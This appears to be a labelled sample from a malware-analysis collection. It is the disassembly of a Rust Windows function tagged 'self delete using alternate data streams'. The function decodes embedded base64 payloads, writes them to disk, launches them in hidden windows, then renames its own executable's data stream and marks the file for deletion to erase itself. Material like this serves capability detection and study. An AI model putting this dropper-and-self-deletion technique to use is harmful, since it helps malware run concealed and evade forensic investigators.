Function at 0x140001d00
Capabilities:
Self delete using alternate data streams

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x978
movabs rdi, 0x8000000000000000
lea rdx, [0x140e5dd34]
lea r8, [0x1400a4160]
lea rcx, [rsp + 0x190]
mov r9d, 0xdb25fc
call sym.base64::engine::Engine::decode::hc1b7f8affef74807
mov rsi, qword [rsp + 0x190]
cmp rsi, rdi
je 0x1400026f2
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0xc8], rax
mov r13, qword [rsp + 0x1a0]
lea rdx, [0x140e5dd34]
lea r8, [0x140e5675c]
lea rcx, [rsp + 0x190]
mov r9d, 0x75d8
call sym.base64::engine::Engine::decode::hc1b7f8affef74807
mov rbx, qword [rsp + 0x190]
cmp rbx, rdi
je 0x14000272e
mov r14, qword [rsp + 0x198]
mov r12, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x190]
mov qword [rsp + 0xc0], r14
call sym.std::env::current_dir::hc802cdbc7ebbc2e4
cmp qword [rsp + 0x190], rdi
je 0x14000276f
movups xmm0, xmmword [rsp + 0x190]
movups xmm1, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0x590], xmm1
movaps xmmword [rsp + 0x580], xmm0
lea r15, [rsp + 0x580]
mov rcx, r15
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h7194a48d13ba5dd9
mov r8, rdx
mov qword [rsp + 0x20], 0x14
lea r9, [0x140e5ded0]
lea rcx, [rsp + 0xd0]
mov rdx, rax
call sym.std::path::Path::_join::h80db84e2a13467e0
mov rdx, qword [rsp + 0x580]
test rdx, rdx
je 0x140001e3f
mov rcx, qword [rsp + 0x588]
mov r8d, 1
call sym.__rust_dealloc
lea rcx, [rsp + 0xd0]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h7194a48d13ba5dd9
mov rcx, rax
mov r8, r14
mov r9, r12
call sym.std::fs::write::inner::h2336fc607aaab45c
test rax, rax
jne 0x1400027b0
call sym.rand::rngs::thread::thread_rng::ha54c6118554ea9d6
mov qword [rsp + 0x168], 1
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x178], 4
lea rcx, [rsp + 0x138]
lea rdx, [rsp + 0x168]
call sym._ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17h4f01517afa
mov r12, qword [rsp + 0x140]
mov r8, qword [rsp + 0x148]
lea rcx, [rsp + 0x190]
mov rdx, r12
call sym.core::str::converts::from_utf8::hde6ef49d9b76cbee
cmp qword [rsp + 0x190], 0
jne 0x1400027e9
movups xmm0, xmmword [rsp + 0x198]
movups xmmword [rsp + 0x180], xmm0
lea rcx, [rsp + 0xa0]
call sym.std::env::temp_dir::hb17d59c829c1d450
lea rcx, [rsp + 0xa0]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h7194a48d13ba5dd9
mov rdi, rax
mov r14, rdx
lea rax, [rsp + 0x180]
mov qword [rsp + 0x580], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h27315833a831cdaf]
mov qword [rsp + 0x588], rax
lea rax, [0x140e5df30]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 2
mov qword [rsp + 0x1b0], 0
mov qword [rsp + 0x1a0], r15
mov qword [rsp + 0x1a8], 1
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0x190]
call sym.alloc::fmt::format::format_inner::hfc62296015878833
mov rbp, qword [rsp + 0x158]
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x80]
mov rdx, rdi
mov r8, r14
mov r9, rbp
call sym.std::path::Path::_join::h80db84e2a13467e0
mov rdx, qword [rsp + 0x150]
test rdx, rdx
mov rdi, qword [rsp + 0xc8]
je 0x140001fb9
mov r8d, 1
mov rcx, rbp
call sym.__rust_dealloc
lea rcx, [rsp + 0x80]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h7194a48d13ba5dd9
mov rcx, rax
mov r8, rdi
mov r9, r13
call sym.std::fs::write::inner::h2336fc607aaab45c
test rax, rax
jne 0x14000282a
lea rdx, [0x140e5df68]
lea rcx, [rsp + 0x580]
mov r8d, 0xc
call sym.std::sys::pal::windows::process::Command::new::h1f0e64c011923fa7
lea r13, [rsp + 0xd0]
mov rcx, r13
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h7194a48d13ba5dd9
mov r8, rdx
lea rcx, [rsp + 0x580]
mov rdx, rax
call sym.std::sys::pal::windows::process::Command::arg::h5960d4736cfc782c
mov dword [rsp + 0x640], 0x8000000
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x580]
call sym.std::process::Command::spawn::hb9e4d7a8fb0928ab
cmp dword [rsp + 0x190], 2
je 0x140002860
movups xmm0, xmmword [rsp + 0x190]
movups xmm1, xmmword [rsp + 0x1a0]
movups xmm2, xmmword [rsp + 0x1b0]
movups xmm3, xmmword [rsp + 0x1c0]
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call sym.core::ptr::drop_in_place_std::process::Child_::hd65154c149767baf
lea rcx, [rsp + 0x80]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h7194a48d13ba5dd9
mov r8, rdx
lea rcx, [rsp + 0x190]
mov rdx, rax
call sym.std::sys::pal::windows::process::Command::new::h1f0e64c011923fa7
mov dword [rsp + 0x250], 0x8000000
lea rbp, [rsp + 0x40]
lea rdx, [rsp + 0x190]
mov rcx, rbp
call sym.std::process::Command::spawn::hb9e4d7a8fb0928ab
cmp dword [rsp + 0x40], 2
je 0x140002898
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmm2, xmmword [rsp + 0x60]
movups xmm3, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea r15, [rsp + 0xf0]
mov rcx, r15
call sym.core::ptr::drop_in_place_std::process::Child_::hd65154c149767baf
lea rcx, [rsp + 0x190]
call sym.core::ptr::drop_in_place_std::process::Command_::hdc5ff06371131f07
lea rcx, [rsp + 0x580]
call sym.core::ptr::drop_in_place_std::process::Command_::hdc5ff06371131f07
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14000214f
mov rcx, qword [rsp + 0x88]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xa0]
test rdx, rdx
je 0x14000216f
mov rcx, qword [rsp + 0xa8]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x138]
test rdx, rdx
je 0x14000218a
mov r8d, 1
mov rcx, r12
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xd0]
test rdx, rdx
je 0x1400021aa
mov rcx, qword [rsp + 0xd8]
mov r8d, 1
call sym.__rust_dealloc
test rbx, rbx
je 0x1400021c5
mov r8d, 1
mov rcx, qword [rsp + 0xc0]
mov rdx, rbx
call sym.__rust_dealloc
test rsi, rsi
je 0x1400021db
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call sym.__rust_dealloc
lea rsi, [rsp + 0x580]
mov r8d, 0x3ea
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x105
call sub.kernel32.dll_GetModuleFileNameW
test eax, eax
je 0x140002318
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
lea rcx, [rsp + 0x580]
mov edx, 0x10000
xor r8d, r8d
xor r9d, r9d
call sub.kernel32.dll_CreateFileW
test rax, rax
je 0x1400022b3
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140002357
call sub.kernel32.dll_GetLastError
mov dword [rsp + 0xf0], eax
mov qword [rsp + 0x40], r15
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::ha578419fc5b840ff]
mov qword [rsp + 0x48], rax
lea rax, [0x140e5e1b8]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 2
mov qword [rsp + 0x1b0], 0
mov qword [rsp + 0x1a0], rbp
mov qword [rsp + 0x1a8], 1
lea rcx, [rsp + 0x190]
call sym.std::io::stdio::_print::h0a2d05609444ce3c
call sub.kernel32.dll_GetLastError
mov dword [rsp + 0xf0], eax
mov qword [rsp + 0x40], r15
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::ha578419fc5b840ff]
mov qword [rsp + 0x48], rax
lea rax, [0x140e5e040]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 2
mov qword [rsp + 0x1b0], 0
mov qword [rsp + 0x1a0], rbp
mov qword [rsp + 0x1a8], 1
lea rcx, [rsp + 0x190]
jmp 0x1400026d8
lea rax, [0x140e5dff8]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 1
mov qword [rsp + 0x1a0], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x1a8], xmm0
lea rcx, [rsp + 0x190]
jmp 0x1400026d8
lea rax, [0x140e5e060]
mov qword [rsp + 0xf0], rax
lea rax, [0x140e5e063]
mov qword [rsp + 0xf8], rax
mov word [rsp + 0x100], 0
lea rsi, [rsp + 0x80]
lea rdx, [rsp + 0xf0]
mov rcx, rsi
call sym._ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17h676741b4ca
mov rbx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 0
add r8, r8
mov dword [rsp + 0x50], r8d
lea rcx, [rsp + 0x54]
mov rdx, rbx
call sym.memcpy
lea r14, [rsp + 0x40]
mov rcx, rdi
mov edx, 3
mov r8, r14
mov r9d, 0x18
call sub.kernel32.dll_SetFileInformationByHandle
test eax, eax
je 0x140002522
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14000240e
add rdx, rdx
mov r8d, 2
mov rcx, rbx
call sym.__rust_dealloc
mov rcx, rdi
call fcn.1400a0f64
lea rdi, [rsp + 0x190]
mov r8d, 0x3ea
mov rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
xor ecx, ecx
mov rdx, rdi
mov r8d, 0x105
call sub.kernel32.dll_GetModuleFileNameW
test eax, eax
je 0x1400025fe
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
lea rcx, [rsp + 0x190]
mov edx, 0x10000
xor r8d, r8d
xor r9d, r9d
call sub.kernel32.dll_CreateFileW
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400024e3
call sub.kernel32.dll_GetLastError
mov dword [rsp + 0xa0], eax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x80], rax
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::ha578419fc5b840ff]
mov qword [rsp + 0x88], rax
lea rax, [0x140e5e1b8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 1
lea rcx, [rsp + 0x40]
call sym.std::io::stdio::_print::h0a2d05609444ce3c
xor edi, edi
mov byte [rsp + 0xd0], 1
lea r8, [rsp + 0xd0]
mov rcx, rdi
mov edx, 4
mov r9d, 1
call sub.kernel32.dll_SetFileInformationByHandle
test eax, eax
je 0x140002629
mov rcx, rdi
call fcn.1400a0f64
lea rax, [0x140e5e178]
jmp 0x140002605
call sub.kernel32.dll_GetLastError
mov dword [rsp + 0xd0], eax
mov qword [rsp + 0xa0], r13
lea r15, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::ha578419fc5b840ff]
mov qword [rsp + 0xa8], r15
lea r12, [0x140e5e090]
mov qword [rsp + 0x190], r12
mov qword [rsp + 0x198], 2
mov qword [rsp + 0x1b0], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 1
lea rcx, [rsp + 0x190]
call sym.std::io::stdio::_print::h0a2d05609444ce3c
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x1400025b3
add rdx, rdx
mov r8d, 2
mov rcx, rbx
call sym.__rust_dealloc
call sub.kernel32.dll_GetLastError
mov dword [rsp + 0x80], eax
mov rcx, rdi
call fcn.1400a0f64
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x190], r12
mov qword [rsp + 0x198], 2
mov qword [rsp + 0x1b0], 0
mov qword [rsp + 0x1a0], r14
jmp 0x1400022ff
lea rax, [0x140e5e0e8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
jmp 0x1400026d3
call sub.kernel32.dll_GetLastError
mov dword [rsp + 0xa0], eax
lea r15, [rsp + 0xa0]
mov qword [rsp + 0x80], r15
lea rbx, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::ha578419fc5b840ff]
mov qword [rsp + 0x88], rbx
lea r14, [0x140e5e130]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 1
lea rcx, [rsp + 0x40]
call sym.std::io::stdio::_print::h0a2d05609444ce3c
call sub.kernel32.dll_GetLastError
mov dword [rsp + 0xa0], eax
mov rcx, rdi
call fcn.1400a0f64
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 1
lea rcx, [rsp + 0x40]
call sym.std::io::stdio::_print::h0a2d05609444ce3c
nop
add rsp, 0x978
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movups xmm0, xmmword [rsp + 0x198]
movaps xmmword [rsp + 0x580], xmm0
lea rax, [0x140e5de88]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400a4030]
lea r9, [0x1400a4060]
lea r8, [rsp + 0x580]
mov edx, 0x2b
call sym.core::result::unwrap_failed::he0b54fc212991e6a
movups xmm0, xmmword [rsp + 0x198]
movaps xmmword [rsp + 0x580], xmm0
lea rax, [0x140e5dea0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400a4030]
lea r9, [0x1400a4060]
lea r8, [rsp + 0x580]
mov edx, 0x2b
call sym.core::result::unwrap_failed::he0b54fc212991e6a
jmp 0x1400028d1
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x580], rax
lea rax, [0x140e5deb8]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400a4030]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::haeff28bedbdff816
lea r8, [rsp + 0x580]
mov edx, 0x2b
call sym.core::result::unwrap_failed::he0b54fc212991e6a
jmp 0x1400028d1
mov qword [rsp + 0x190], rax
lea rax, [0x140e5def8]
mov qword [rsp + 0x20], rax
lea rcx, [0x140e5dee4]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::haeff28bedbdff816
lea r8, [rsp + 0x190]
mov edx, 0x14
call sym.core::result::unwrap_failed::he0b54fc212991e6a
jmp 0x1400028d1
movups xmm0, xmmword [rsp + 0x198]
movaps xmmword [rsp + 0x580], xmm0
lea rax, [0x140e5df10]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400a4030]
lea r9, [0x1400a4080]
lea r8, [rsp + 0x580]
mov edx, 0x2b
call sym.core::result::unwrap_failed::he0b54fc212991e6a
jmp 0x1400028d1
mov qword [rsp + 0x190], rax
lea rax, [0x140e5df50]
mov qword [rsp + 0x20], rax
lea rcx, [0x140e5dee4]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::haeff28bedbdff816
lea r8, [rsp + 0x190]
mov edx, 0x14
call sym.core::result::unwrap_failed::he0b54fc212991e6a
jmp 0x1400028d1
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x40], rax
lea rax, [0x140e5df88]
mov qword [rsp + 0x20], rax
lea rcx, [0x140e5df74]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::haeff28bedbdff816
lea r8, [rsp + 0x40]
mov edx, 0x13
call sym.core::result::unwrap_failed::he0b54fc212991e6a
jmp 0x1400028d1
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xf0], rax
lea rax, [0x140e5dfb8]
mov qword [rsp + 0x20], rax
lea rcx, [0x140e5dfa0]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::haeff28bedbdff816
lea r8, [rsp + 0xf0]
mov edx, 0x16
call sym.core::result::unwrap_failed::he0b54fc212991e6a
ud2